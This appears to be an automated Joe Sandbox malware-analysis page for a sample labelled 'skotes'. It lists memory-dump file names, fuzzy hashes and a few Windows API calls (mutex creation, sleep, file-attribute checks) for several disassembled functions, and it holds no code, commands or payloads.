Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: 5a93878496d02699cfb32e2e058b7230fbec874df707f0a932283f81b1c01d56
Instruction ID: fd82b144200a3b6036d07e5189072e518b5484d535ff4405c7ae417473cf88c9
Opcode Fuzzy Hash: 5a93878496d02699cfb32e2e058b7230fbec874df707f0a932283f81b1c01d56
Instruction Fuzzy Hash: 8E3166316005049BEB1AAB78DD89B6DB7B6EF81314F20C619E114BB3C9CBB599808B52

Function 0036A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A550
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: 7c5b13f6918731aaf231d00319b68b82c3b0601d3bed68e21dcf26d9942eb32a
Instruction ID: c2b88a14c15c77a54ffa0bdad21498a4132c2da6dcff3ed66776b4e5c25d1454
Opcode Fuzzy Hash: 7c5b13f6918731aaf231d00319b68b82c3b0601d3bed68e21dcf26d9942eb32a
Instruction Fuzzy Hash: 1E316C316015048BEB1AEB78DCC9B6CB7A6EF81314F24C619E155FB2D9C77999808F22

Function 0036A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A685
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: 22aa0f9cb08229198359dbd6d5d07c776c370ef263c0bbce17775c04bd840ab0
Instruction ID: 3a31a842acf5b643c26032fd02a0d13bedf2d6ca5615638676c7daa609b4576d
Opcode Fuzzy Hash: 22aa0f9cb08229198359dbd6d5d07c776c370ef263c0bbce17775c04bd840ab0
Instruction Fuzzy Hash: D33179317006048BEB1AEB78DD89B6DB7B6EF81310F24C619E114FB2D9C77599808B62

Function 0036A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0036A7BA
Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2<
API String ID: 396266464-1458272136
Opcode ID: 3bd563bd971caca534dc11e9745a8ab168b074f74b4d8e33a31903fe6a6bca14
Instruction ID: 2e402aa8844a52c8e846c97c1de6f03a18835929ab18879db323bdfc11dc9329
Opcode Fuzzy Hash: 3bd563bd971caca534dc11e9745a8ab168b074f74b4d8e33a31903fe6a6bca14
Instruction Fuzzy Hash: 97314C317005048BEB1ADB78DD89B5DBBB6EF81310F24C619E114BB2D9D77559818B22

Function 0036A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0036A963
CreateMutexA.KERNEL32(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 1bc12503f66f0923dabf49bb32aba3e9c6d128a5241e88c606bb9aff8d5bdaf2
